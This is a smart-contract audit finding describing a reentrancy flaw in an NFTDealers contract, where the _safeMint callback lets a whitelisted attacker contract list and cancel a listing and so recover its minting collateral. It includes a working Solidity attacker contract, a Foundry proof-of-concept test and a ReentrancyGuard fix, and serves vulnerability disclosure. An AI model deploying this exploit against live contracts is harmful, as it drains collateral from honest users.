Description
-
mintNft collects lockAmount USDC as collateral from the minter, stores it in collateralForMinting[tokenId], and then mints the NFT to the caller using _safeMint.
-
_safeMint triggers the onERC721Received callback on the recipient if it is a contract. At the point the callback fires, collateralForMinting[tokenId] has already been set but the mint is not yet complete. A whitelisted attacker contract uses this window to call list() (ownership check passes because ERC721 state is updated before the callback) and immediately cancelListing(), which refunds the full collateralForMinting[tokenId] — resulting in a zero-net-cost mint. There is no reentrancy guard on any of these functions.
function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
tokenIdCounter++;
@> collateralForMinting[tokenIdCounter] = lockAmount;
@> _safeMint(msg.sender, tokenIdCounter);
}
Risk
Likelihood:
-
Any whitelisted address that is a smart contract can trigger this — whitelisted users are normal marketplace participants, not privileged admins.
-
The exploit is fully deterministic and requires no external conditions beyond holding a whitelist slot.
Impact:
-
Attacker receives the minted NFT at zero cost (collateral fully recovered via cancelListing).
-
Repeated across MAX_SUPPLY mints, all minting collateral locked by other honest minters can be drained.
Proof of Concept
Add MintReentryAttacker outside NFTDealersTest (e.g., at the bottom of the file), then paste testPoC_SafeMintReentrancy inside NFTDealersTest. Run:
forge test --match-test testPoC_SafeMintReentrancy -vvvv
contract MintReentryAttacker {
NFTDealers private nft;
constructor(address _nft) {
nft = NFTDealers(_nft);
}
function attack() external {
nft.mintNft();
}
function onERC721Received(address, address, uint256 tokenId, bytes calldata)
external
returns (bytes4)
{
nft.list(tokenId, uint32(nft.MIN_PRICE()));
nft.cancelListing(tokenId);
return this.onERC721Received.selector;
}
}
function testPoC_SafeMintReentrancy() public {
vm.prank(owner);
nftDealers.revealCollection();
MintReentryAttacker attacker = new MintReentryAttacker(address(nftDealers));
uint256 lockAmount = nftDealers.lockAmount();
usdc.mint(address(attacker), lockAmount);
vm.prank(owner);
nftDealers.whitelistWallet(address(attacker));
vm.prank(address(attacker));
usdc.approve(address(nftDealers), lockAmount);
uint256 usdcBefore = usdc.balanceOf(address(attacker));
attacker.attack();
assertEq(nftDealers.ownerOf(1), address(attacker));
assertEq(usdc.balanceOf(address(attacker)), usdcBefore);
assertEq(usdc.balanceOf(address(nftDealers)), 0);
}
Recommended Mitigation
Add a nonReentrant modifier (from ReentrancyGuard) to all state-mutating functions that touch collateralForMinting or perform external calls. This closes the current vector and any future cross-function reentrancy paths in the contract.
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract NFTDealers is ERC721 {
+ contract NFTDealers is ERC721, ReentrancyGuard {
- function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
+ function mintNft() external payable onlyWhenRevealed onlyWhitelisted nonReentrant {
- function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
+ function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted nonReentrant {
- function buy(uint256 _listingId) external payable {
+ function buy(uint256 _listingId) external payable nonReentrant {
- function cancelListing(uint256 _listingId) external {
+ function cancelListing(uint256 _listingId) external nonReentrant {
- function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
+ function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) nonReentrant {
nonReentrant blocks any reentrant call into the contract while a guarded function is executing, preventing the onERC721Received callback from calling list / cancelListing and draining collateralForMinting.